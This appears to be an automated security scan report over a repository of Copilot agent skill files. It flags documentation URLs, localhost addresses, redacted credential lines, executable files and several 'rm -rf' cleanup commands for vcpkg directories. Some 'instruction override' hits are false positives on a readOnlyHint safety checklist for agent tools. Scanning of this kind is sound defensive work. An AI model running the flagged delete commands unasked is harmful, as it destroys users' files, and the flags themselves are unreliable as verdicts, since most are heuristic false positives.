    - [Awesome Copilot raw file pattern](https://raw.githubusercontent.com/github/awesome-copilot/main/{folder}/{filename})
  • Network accessline 149
    - [Awesome Copilot README raw](https://raw.githubusercontent.com/github/awesome-copilot/main/README.md)

harness/github-copilot/skills/tm7-threat-model/SKILL.md

  • Network accessline 60
    <ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
  • Network accessline 77
    | Prefix | URI | Used for | |--------|-----|----------| | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` |
  • Network accessline 78
    |--------|-----|----------| | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` | | `xmlns:i` | `http://www.w3.org/2001/XMLSchema-instance` | Type attributes |
  • Network accessline 79
    | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` |
  • Network accessline 80
    | `xmlns:i` | `http://www.w3.org/2001/XMLSchema-instance` | Type attributes |
  • Network accessline 81
    | `xmlns:z` | `http://schemas.microsoft.com/2003/10/Serialization/` | Reference ids (`z:Id`) |
  • Network accessline 82
    | `xmlns:a` | `http://schemas.microsoft.com/2003/10/Serialization/Arrays` | Arrays / collections |
  • Network accessline 83
    | `xmlns:b` | `http://schemas.datacontract.org/2004/07/ThreatModeling.KnowledgeBase` | Stencil properties |
  • Network accessline 84
    | `xmlns:c` | `http://www.w3.org/2001/XMLSchema` | Primitive type values |
  • Network accessline 150
    <b:DisplayName>Name</b:DisplayName>         <b:Name/>         <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value>
  • Network accessline 151
    <b:Name/>         <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value>       </a:anyType>
  • Network accessline 152
    <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value>
  • Network accessline 309
    8. **Missing the `xmlns` on child elements** — each `GenericTypeId`, `Guid`, `Properties`,    `TypeId`, etc. must carry its own    `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`.
  • Network accessline 310
    `TypeId`, etc. must carry its own    `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`. 9. **Pretty-printing with indentation** — the correct output is a single continuous XML stream
  • Network accessline 311
    `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`.
  • Network accessline 360
    - [ ] The file starts with `<ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">` and has no XML declaration.
  • Network accessline 370
    - [ThreatModeling.Model namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.Model)
  • Network accessline 371
    - [ThreatModeling.Model.Abstracts namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts)
  • Network accessline 372
    - [ThreatModeling.KnowledgeBase namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.KnowledgeBase)
  • Network accessline 373
    - [Serialization namespace](http://schemas.microsoft.com/2003/10/Serialization/)
  • Network accessline 374
    - [Serialization arrays namespace](http://schemas.microsoft.com/2003/10/Serialization/Arrays)
  • Network accessline 375
    - [XML Schema namespace](http://www.w3.org/2001/XMLSchema)
  • Network accessline 376
    - [XML Schema instance namespace](http://www.w3.org/2001/XMLSchema-instance)

harness/github-copilot/skills/tm7-threat-model/assets/example-minimal.tm7

  • Network accessline 1
    <ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><DrawingSurfaceList><DrawingSurfaceModel z:Id="i1" xmlns:z="http://schemas.microsoft.com/2003/10/Serializa

harness/github-copilot/skills/transloadit-media-processing/SKILL.md

  • Network accessline 8
    license: "MIT" metadata:   compatibility: "Requires a free Transloadit account (https://transloadit.com/signup). Uses the @transloadit/mcp-server MCP server or the @transloadit/node CLI."
  • Network accessline 9
    metadata:   compatibility: "Requires a free Transloadit account (https://transloadit.com/signup). Uses the @transloadit/mcp-server MCP server or the @transloadit/node CLI." ---
  • Network accessline 10
    compatibility: "Requires a free Transloadit account (https://transloadit.com/signup). Uses the @transloadit/mcp-server MCP server or the @transloadit/node CLI."
  • Network accessline 58
    Get your API credentials at https://transloadit.com/c/-/api-credentials
  • Network accessline 116
    "robot": "/image/resize",       "use": "resized",       "watermark_url": "https://example.com/logo.png",
  • Network accessline 117
    "use": "resized",       "watermark_url": "https://example.com/logo.png",       "watermark_position": "bottom-right",
  • Network accessline 118
    "watermark_url": "https://example.com/logo.png",
  • Network accessline 146
    "imported": {       "robot": "/http/import",       "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"]
  • Network accessline 147
    "robot": "/http/import",       "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"]     },
  • Network accessline 148
    "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"]
  • Network accessline 187
    - **Assembly**: A single processing job. Created via `create_assembly` (MCP) or `assemblies create` (CLI). - **Template**: A reusable set of steps stored on Transloadit. Created via `create_template` (MCP) or `templates create` (CLI). - **R
  • Network accessline 188
    - **Template**: A reusable set of steps stored on Transloadit. Created via `create_template` (MCP) or `templates create` (CLI). - **Robot**: A processing unit (e.g., `/video/encode`, `/image/resize`). See full list at https://transloadit.co
  • Network accessline 189
    - **Robot**: A processing unit (e.g., `/video/encode`, `/image/resize`). See full list at https://transloadit.com/docs/transcoding/

harness/github-copilot/skills/typescript-mcp-server-generator/SKILL.md

  • Network accessline 99
    | Transport | Use when | Required details | | --- | --- | --- | | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for loca
  • Network accessline 100
    | --- | --- | --- | | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for local servers, strict `Content-Type` handling be
  • Network accessline 101
    | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for local servers, strict `Content-Type` handling because v2 rejects non

harness/github-copilot/skills/typespec-api-operations/SKILL.md

  • Network accessline 37
    @service @server("https://api.example.com")
  • Network accessline 38
    @server("https://api.example.com")
  • Network accessline 118
    {   "type": "AdaptiveCard",   "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 119
    "type": "AdaptiveCard",   "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",   "version": "1.5",
  • Network accessline 120
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 131
    ],   "actions": [     { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" }
  • Network accessline 132
    "actions": [     { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" }   ]
  • Network accessline 133
    { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" }
  • Network accessline 264
    - [Adaptive Card schema](http://adaptivecards.io/schemas/adaptive-card.json)
  • Network accessline 265
    - [Example API endpoint](https://api.example.com)
  • Network accessline 266
    - [Example item URL](https://example.com/items/${id})

harness/github-copilot/skills/typespec-create-api-plugin/SKILL.md

  • Network accessline 85
    | Public API | Omit `@useAuth`; do not create placeholder auth models. | | API key in header | `@useAuth(ApiKeyAuth<ApiKeyLocation.header, "X-API-Key">)` | | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authoriza
  • Network accessline 86
    | API key in header | `@useAuth(ApiKeyAuth<ApiKeyLocation.header, "X-API-Key">)` | | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authorizationCode; authorizationUrl: "https://oauth.example.com/authorize"; tokenU
  • Network accessline 87
    | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authorizationCode; authorizationUrl: "https://oauth.example.com/authorize"; tokenUrl: "https://oauth.example.com/token"; refreshUrl: "https://oauth.example.com/token

harness/github-copilot/skills/ui-screenshots/SKILL.md

  • Network accessline 46
    async def capture(url="http://localhost:3000", out="screenshot-raw.png", width=1400, height=5000):
  • Network accessline 246
    - http://localhost:3000

harness/github-copilot/skills/unit-test-vue-pinia/SKILL.md

  • Network accessline 153
    Follow Vue Test Utils guidance: <https://test-utils.vuejs.org/guide/>
  • Network accessline 220
    - `references/pinia-patterns.md` - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html>
  • Network accessline 221
    - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html>
  • Network accessline 222
    - Vue Test Utils guide: <https://test-utils.vuejs.org/guide/>

harness/github-copilot/skills/update-avm-modules-in-bicep/SKILL.md

  • Network accessline 22
    - A target Bicep file such as `${file}` must be available. - `bicep` must be installed to run `bicep lint` and `bicep build`. - Network access must allow tag discovery from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/ta
  • Network accessline 24
    - Network access must allow tag discovery from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list` and documentation review at `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}`.
  • Network accessline 30
    | Module pattern | Match Azure Verified Modules in Bicep references using `avm/res/{service}/{resource}`. | | Version source | Use the MCR tags API only for version discovery. | | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/
  • Network accessline 31
    | Version source | Use the MCR tags API only for version discovery. | | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. | | Docs endpoint | `https://github.com/Azure/bicep-registry-modules/tree/m
  • Network accessline 32
    | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. |
  • Network accessline 33
    | Docs endpoint | `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}`. |
  • Network accessline 39
    1. Scan `${file}` and extract every AVM module reference, current version, and source line. 2. Identify all unique `avm/res/{service}/{resource}` modules. 3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/a
  • Network accessline 40
    2. Identify all unique `avm/res/{service}/{resource}` modules. 3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. 4. Parse the JSON `tags` array, keep semantic versio
  • Network accessline 41
    3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`.
  • Network accessline 42
    4. Parse the JSON `tags` array, keep semantic versions, and compare the latest stable version with the current reference. 5. For each candidate update, review docs and release notes from `https://github.com/Azure/bicep-registry-modules/tree
  • Network accessline 43
    5. For each candidate update, review docs and release notes from `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}` for breaking changes.
  • Network accessline 66
    | Module | Current | Latest | Status | Action | Docs | |--------|---------|--------|--------|--------|------| | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep
  • Network accessline 67
    |--------|---------|--------|--------|--------|------| | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource
  • Network accessline 68
    | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) |
  • Network accessline 69
    | avm/res/storage/account | 0.3.0 | 0.3.0 | Current | Current | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) |
  • Network accessline 70
    | avm/res/network/virtual-network | 0.4.0 | 0.5.0 | Manual review required | PAUSE for approval before breaking parameter changes | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) |
  • Network accessline 89
    - [Azure Verified Modules registry source](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource})
  • Network accessline 90
    - [MCR AVM tags endpoint](https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list)

harness/github-copilot/skills/update-implementation-plan/SKILL.md

  • Network accessline 81
    ![Status: <status>](https://img.shields.io/badge/status-<status>-<status_color>)
  • Network accessline 197
    - [Shields.io status badge](https://img.shields.io/badge/status-<status>-<status_color>)

harness/github-copilot/skills/update-llms/SKILL.md

  • Network accessline 2
    name: "update-llms" description: >-   Update an existing repository-root llms.txt file to match current documentation, specifications, examples, configuration, and repository structure. Use when users ask to update llms.txt, refresh LLM nav
  • Network accessline 3
    description: >-   Update an existing repository-root llms.txt file to match current documentation, specifications, examples, configuration, and repository structure. Use when users ask to update llms.txt, refresh LLM navigation, fix stale l
  • Network accessline 4
    Update an existing repository-root llms.txt file to match current documentation, specifications, examples, configuration, and repository structure. Use when users ask to update llms.txt, refresh LLM navigation, fix stale llms links, or keep
  • Network accessline 23
    - An existing `/llms.txt` at the repository root. - Repository read access to current docs, specs, examples, and configuration. - The official llms.txt specification at `https://llmstxt.org/` and preserved baseline URL spelling `https://llm
  • Network accessline 25
    - The official llms.txt specification at `https://llmstxt.org/` and preserved baseline URL spelling `https://llmstxt.org/.`.
  • Network accessline 137
    - [llms.txt specification](https://llmstxt.org/)
  • Network accessline 138
    - Baseline URL spelling preserved for migration checks: https://llmstxt.org/.

harness/github-copilot/skills/vardoger-analyze/SKILL.md

  • Network accessline 53
    If you do not have pipx, see https://pipx.pypa.io/stable/.
  • Network accessline 55
    Project page: https://github.com/dstrupl/vardoger
  • Network accessline 163
    - [pipx documentation](https://pipx.pypa.io/stable/)
  • Network accessline 164
    - [vardoger project](https://github.com/dstrupl/vardoger)

harness/github-copilot/skills/vcpkg/SKILL.md

  • Network accessline 130
    ### Installing with Features (e.g., curl with SSL + HTTP2)

harness/github-copilot/skills/vcpkg/references/ci.md

  • Network accessline 11
    [Credential-related source omitted]
  • Access to secretsline 11
    [Credential-related source omitted]
  • Network accessline 14
    [Credential-related source omitted]
  • Access to secretsline 14
    [Credential-related source omitted]
  • Network accessline 19
    $env:VCPKG_BINARY_SOURCES = "clear;nuget,https://nuget.pkg.github.com/your-org/index.json,readwrite"
  • Network accessline 22
    export VCPKG_BINARY_SOURCES="clear;nuget,https://nuget.pkg.github.com/your-org/index.json,readwrite"
  • Network accessline 32
    env:   VCPKG_BINARY_SOURCES: clear;nuget,https://nuget.pkg.github.com/your-org/index.json,readwrite
  • Network accessline 33
    VCPKG_BINARY_SOURCES: clear;nuget,https://nuget.pkg.github.com/your-org/index.json,readwrite
  • Network accessline 108
    - uses: actions/checkout@v4   - name: Clone vcpkg     run: git clone https://github.com/microsoft/vcpkg
  • Network accessline 109
    - name: Clone vcpkg     run: git clone https://github.com/microsoft/vcpkg   - name: Bootstrap vcpkg (Windows)
  • Network accessline 110
    run: git clone https://github.com/microsoft/vcpkg

harness/github-copilot/skills/vcpkg/references/registries.md

  • Network accessline 11
    {       "kind": "git",       "repository": "https://github.com/{owner}/vcpkg-registry",
  • Network accessline 12
    "kind": "git",       "repository": "https://github.com/{owner}/vcpkg-registry",       "baseline": "<commit-sha>",
  • Network accessline 13
    "repository": "https://github.com/{owner}/vcpkg-registry",
  • Network accessline 45
    {       "kind": "git",       "repository": "https://github.com/{owner}/vcpkg-registry.git",
  • Network accessline 46
    "kind": "git",       "repository": "https://github.com/{owner}/vcpkg-registry.git",       "baseline": "<registry-commit-sha>",
  • Network accessline 47
    "repository": "https://github.com/{owner}/vcpkg-registry.git",

harness/github-copilot/skills/vcpkg/references/troubleshooting.md

  • Dangerous shell operationline 95
    rm -rf <vcpkg-root>/buildtrees
  • Dangerous shell operationline 96
    rm -rf <vcpkg-root>/downloads
  • Dangerous shell operationline 97
    rm -rf <vcpkg-root>/installed
  • Dangerous shell operationline 98
    rm -rf <vcpkg-root>/packages
  • Dangerous shell operationline 100
    rm -rf ./vcpkg_installed

harness/github-copilot/skills/web-design-reviewer/SKILL.md

  • Network accessline 31
    1. **Target website must be running**    - Local development server (e.g., `http://localhost:3000`)
  • Network accessline 32
    - Local development server (e.g., `http://localhost:3000`)
  • Network accessline 64
    > Please provide the URL of the website to review (e.g., `http://localhost:3000`)
  • Network accessline 300
    [Playwright MCP](https://github.com/microsoft/playwright-mcp) is recommended as the reference implementation for this skill.
  • Network accessline 392
    **Status:** complete | needs fixes | blocked **Target URL:** `<http://localhost:3000 or remote URL>`
  • Network accessline 393
    **Target URL:** `<http://localhost:3000 or remote URL>`
  • Network accessline 408
    - [ ] `name` is `web-design-reviewer` and matches the parent directory. - [ ] The target URL is reachable, including `http://localhost:3000` when the local server is running.
  • Network accessline 409
    - [ ] The target URL is reachable, including `http://localhost:3000` when the local server is running.
  • Network accessline 419
    - [Playwright MCP](https://github.com/microsoft/playwright-mcp)

harness/github-copilot/skills/web-design-reviewer/references/framework-fixes.md

  • Network accessline 472
    // Use Chrome DevTools Lighthouse or axe DevTools // Or check at the following site: // https://webaim.org/resources/contrastchecker/
  • Network accessline 474
    // https://webaim.org/resources/contrastchecker/

harness/github-copilot/skills/webapp-testing/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/github-copilot/skills/webapp-testing/SKILL.md

  • Network accessline 63
    browser = p.chromium.launch(headless=True) # Always launch chromium in headless mode     page = browser.new_page()     page.goto('http://localhost:5173') # Server already running and ready
  • Network accessline 64
    page = browser.new_page()     page.goto('http://localhost:5173') # Server already running and ready     page.wait_for_load_state('networkidle') # CRITICAL: Wait for JS to execute
  • Network accessline 65
    page.goto('http://localhost:5173') # Server already running and ready

harness/github-copilot/skills/webapp-testing/examples/console_logging.py

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    url = 'http://localhost:5173'  # Replace with your URL

harness/github-copilot/skills/webapp-testing/examples/element_discovery.py

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    page.goto('http://localhost:5173')

harness/github-copilot/skills/webapp-testing/examples/static_html_automation.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/webapp-testing/scripts/with_server.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 26
    while time.time() - start_time < timeout:         try:             with socket.create_connection(('localhost', port), timeout=1):
  • Network accessline 27
    try:             with socket.create_connection(('localhost', port), timeout=1):                 return True
  • Network accessline 28
    with socket.create_connection(('localhost', port), timeout=1):

harness/github-copilot/skills/webmcpify/SKILL.md

  • Network accessline 6
    license: MIT metadata:   source: "https://github.com/TueJon/webmcpify"
  • Network accessline 7
    metadata:   source: "https://github.com/TueJon/webmcpify" ---
  • Network accessline 8
    source: "https://github.com/TueJon/webmcpify"
  • Network accessline 36
    - WebMCP is an evolving origin-trial API from the W3C Web Machine Learning Community Group: https://webmachinelearning.github.io/webmcp/
  • Network accessline 80
    "typescript": true,     "entry": "src/main.tsx",     "baseUrl": "http://localhost:5173",
  • Network accessline 81
    "entry": "src/main.tsx",     "baseUrl": "http://localhost:5173",     "startCommand": "npm run dev",
  • Network accessline 82
    "baseUrl": "http://localhost:5173",
  • Access to secretsline 99
    [Credential-related source omitted]
  • Access to secretsline 194
    [Credential-related source omitted]
  • Network accessline 203
    - [WebMCP draft](https://webmachinelearning.github.io/webmcp/)
  • Network accessline 204
    - [webmcpify source](https://github.com/TueJon/webmcpify)

harness/github-copilot/skills/webmcpify/references/heal.md

  • Network accessline 51
    if (process.env.WEBMCP_LIVE_MUTATIONS === '1') {   await page.route('**/api/contact', async (route) => {     const response = await context.request.fetch(route.request(), {
  • Network accessline 52
    await page.route('**/api/contact', async (route) => {     const response = await context.request.fetch(route.request(), {       headers: { ...route.request().headers(), origin: 'https://example.com' }, // the prod Origin
  • Network accessline 53
    const response = await context.request.fetch(route.request(), {
  • Network accessline 54
    headers: { ...route.request().headers(), origin: 'https://example.com' }, // the prod Origin

harness/github-copilot/skills/webmcpify/references/inventory.md

  • Instruction override signalline 45
    *Initiation tools only navigate/open the flow — the human completes it. They are classified non-mutating (no data changes) **but must NOT carry `readOnlyHint`**: they change UI state, and agents skip confirmations for hinted-read-only tools
  • Instruction override signalline 46
    classified non-mutating (no data changes) **but must NOT carry `readOnlyHint`**: they change UI state, and agents skip confirmations for hinted-read-only tools. `readOnlyHint: true` is reserved for genuinely pure data reads.
  • Instruction override signalline 47
    they change UI state, and agents skip confirmations for hinted-read-only tools.

harness/github-copilot/skills/webmcpify/references/runtime.md

  • Network accessline 27
    | `isWebMCPAvailable()` | Feature detection — the app must work identically without WebMCP | | `createToolScope(key, tools, options?)` | Registers a tool set under one AbortController; returns a **callable dispose handle** carrying `ready: 
  • Network accessline 28
    | `createToolScope(key, tools, options?)` | Registers a tool set under one AbortController; returns a **callable dispose handle** carrying `ready: Promise<boolean>` (true = all registrations committed; false = no WebMCP / duplicate key / fa
  • Network accessline 29
    | `dispatchAndWait(event, detail?, timeoutMs?)` | Bridges `execute()` to the app's own event/state flow. The dispatched detail carries `requestId` plus `signal` — an AbortSignal aborted on timeout; pass it to `fetch()` and skip state commit

harness/github-copilot/skills/webmcpify/references/security.md

  • Instruction override signalline 48
    consent decisions from it). - [ ] `readOnlyHint: true` ONLY on genuinely pure data reads (agents skip       confirmation based on it; mislabeling is the worst single mistake).
  • Instruction override signalline 49
    - [ ] `readOnlyHint: true` ONLY on genuinely pure data reads (agents skip       confirmation based on it; mislabeling is the worst single mistake). - [ ] `untrustedContentHint: true` on every tool returning user-generated or

harness/github-copilot/skills/webmcpify/references/verify.md

  • Network accessline 100
    }); EOF WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \
  • Network accessline 101
    EOF WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \ NODE_PATH=/tmp/webmcpify-harness/node_modules npx playwright test
  • Network accessline 102
    WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \
  • Network accessline 112
    **Alternative:** Puppeteer ships a first-class experimental WebMCP API (https://pptr.dev/guides/webmcp) — prefer it when the target repo already uses
  • Network accessline 113
    (https://pptr.dev/guides/webmcp) — prefer it when the target repo already uses

harness/github-copilot/skills/webmcpify/templates/webmcp-jsx.d.ts

  • Network accessline 1
    /**  * React JSX typings for the declarative WebMCP attributes — vendored from  * https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * React JSX typings for the declarative WebMCP attributes — vendored from  * https://github.com/TueJon/webmcpify  *
  • Network accessline 3
    * https://github.com/TueJon/webmcpify
  • Network accessline 25
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 26
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 27
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE

harness/github-copilot/skills/webmcpify/templates/webmcp.d.ts

  • Network accessline 1
    /**  * Ambient types for the WebMCP API — vendored from https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * Ambient types for the WebMCP API — vendored from https://github.com/TueJon/webmcpify
  • Network accessline 24
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 25
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 26
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 27
    *  * registerTool/ontoolchange/annotations/getTools follow the CG draft  * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only
  • Network accessline 28
    * registerTool/ontoolchange/annotations/getTools follow the CG draft  * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only  * extension not yet in the draft. This API is in flux — re-check against the
  • Network accessline 29
    * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only
  • Network accessline 30
    * extension not yet in the draft. This API is in flux — re-check against the  * draft and https://developer.chrome.com/docs/ai/webmcp when updating.  *
  • Network accessline 31
    * draft and https://developer.chrome.com/docs/ai/webmcp when updating.

harness/github-copilot/skills/webmcpify/templates/webmcp.spec.ts

  • Network accessline 1
    /**  * webmcpify verification template — vendored from https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * webmcpify verification template — vendored from https://github.com/TueJon/webmcpify
  • Network accessline 24
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 25
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 26
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 42
    const BASE_URL = process.env.WEBMCP_BASE_URL ?? 'http://localhost:5173';

harness/github-copilot/skills/webmcpify/templates/webmcpify.js

  • Network accessline 1
    /**  * webmcpify runtime (JavaScript variant) — vendored from https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * webmcpify runtime (JavaScript variant) — vendored from https://github.com/TueJon/webmcpify
  • Network accessline 24
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 25
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 26
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 139
    * Bridge execute() to the app's own event/state flow. The dispatched detail  * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted  * on timeout; handlers should pass it to fetch() and skip state commits and the
  • Network accessline 140
    * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted  * on timeout; handlers should pass it to fetch() and skip state commits and the  * completion dispatch once aborted. Resolves only after the component confir
  • Network accessline 141
    * on timeout; handlers should pass it to fetch() and skip state commits and the

harness/github-copilot/skills/webmcpify/templates/webmcpify.ts

  • Network accessline 1
    /**  * webmcpify runtime — vendored from https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * webmcpify runtime — vendored from https://github.com/TueJon/webmcpify
  • Network accessline 24
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 25
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 26
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 165
    * Bridge execute() to the app's own event/state flow. The dispatched detail  * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted  * on timeout; handlers should pass it to fetch() and skip state commits and the
  • Network accessline 166
    * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted  * on timeout; handlers should pass it to fetch() and skip state commits and the  * completion dispatch once aborted. Resolves only after the component confir
  • Network accessline 167
    * on timeout; handlers should pass it to fetch() and skip state commits and the

harness/github-copilot/skills/winmd-api-search/SKILL.md

  • Network accessline 31
    - **.NET SDK 8.0 or later** — required to build the cache generator. Install from [dotnet.microsoft.com](https://dotnet.microsoft.com/download) if not available.
  • Network accessline 116
    | Namespace prefix | Documentation base URL | |-----------------|----------------------| | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` |
  • Network accessline 117
    |-----------------|----------------------| | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` | | `Microsoft.*` (WinAppSDK) | `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/{fully.qualified.type
  • Network accessline 118
    | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` |
  • Network accessline 119
    | `Microsoft.*` (WinAppSDK) | `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/{fully.qualified.typename}` |
  • Network accessline 121
    For example, `Microsoft.UI.Xaml.Controls.NavigationView` maps to: `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.navigationview`
  • Network accessline 122
    `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.navigationview`
  • Network accessline 229
    - [Windows Platform SDK API reference](https://learn.microsoft.com/uwp/api/) — documentation for `Windows.*` namespaces
  • Network accessline 230
    - [Windows App SDK API reference](https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/) — documentation for `Microsoft.*` WinAppSDK namespaces

harness/github-copilot/skills/winmd-api-search/scripts/Invoke-WinMdQuery.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/winmd-api-search/scripts/Update-WinMdCache.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 127
    if (-not $bestMajor) {         Write-Error "No .NET SDK >= 8.0 found. Install from https://dotnet.microsoft.com/download"
  • Network accessline 128
    Write-Error "No .NET SDK >= 8.0 found. Install from https://dotnet.microsoft.com/download"

harness/github-copilot/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.dgspec.json

  • Network accessline 21
    ],         "sources": {           "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}
  • Network accessline 22
    "sources": {           "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}         },
  • Network accessline 23
    "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}

harness/github-copilot/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.props

  • Network accessline 1
    <U+FEFF><?xml version="1.0" encoding="utf-8" standalone="no"?> <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  • Network accessline 2
